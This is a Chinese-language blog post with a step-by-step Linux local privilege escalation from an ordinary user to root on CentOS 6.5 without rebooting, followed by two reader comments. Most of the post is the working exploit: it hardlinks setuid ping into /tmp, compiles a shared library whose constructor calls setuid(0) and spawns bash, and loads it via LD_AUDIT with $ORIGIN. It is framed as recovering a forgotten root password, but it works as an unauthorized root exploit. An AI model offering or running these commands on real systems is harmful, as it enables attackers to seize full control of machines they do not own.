Linux普通用户提权为root

  • 2
  • 1,021 阅读
  • A+
所属分类:命令脚本

Linux新手在学习阶段初期时,忘记root密码是常有的事情,很多时候大家都会选择重启系统,进入单用户模式重置root密码,但在实际运维工作中,就未必能任性重启了。分享一个不必重启也能切换至root用户的方法给大家,亲测在CentOS 6.5下可以正常使用。

第一步 创建目录

登陆一个普通用户,在/tmp目录下,创建一个文件夹。

  1. [hwoarang@wanghualang ~]$ mkdir -p /tmp/wanghualang  

第二步 创建链接

利用ping命令的suid特性,创建一个链接。

  1. [hwoarang@wanghualang ~]$ ln /bin/ping /tmp/wanghualang/hwoarang  

第三步 调用命令

  1. [hwoarang@wanghualang ~] $ exec 3< /tmp/wanghualang/hwoarang  
  2. [hwoarang@wanghualang ~] $ rm -rf /tmp/wanghualang/  

第四步 编译程序

编辑一个简单的C语言程序。

  1. [hwoarang@wanghualang tmp]$ vim root.c  

  1. void __attribute__((constructor)) init()  
  2. {  
  3. setuid(0);  
  4. system("/bin/bash");  
  5. }  

编译后运行程序。

  1. [hwoarang@wanghualang ~]$ gcc -w -fPIC -shared -o /tmp/root root.c  
  2. [hwoarang@wanghualang ~]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3  

执行程序后,会出现一个报错,但不用管,此时应该顺利切换至root用户了。

  • 微信赞助网站
  • weinxin
  • 支付宝赞助网站
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:2   其中:访客  1   博主  1

    • 发发发 河北省衡水市 电信

      exec需要权限才行,在我这3是一个目录不是文件 [图片]

        • 王花郎 站长 广东省韶关市 电信

          @发发发 本文只是提供一个思路(某些命令的suid特性),在特定操作系统版本和软件环境下可以正常提权,不通用所有版本的操作系统以及有针对性加固后的操作系统。简单录制了一个演示过程,操作系统为红帽6.x系列最新版本,仅安装了gcc以及新建了一个普通用户,其余一切为系统默认,有兴趣可以参考一下。
          ~
          评论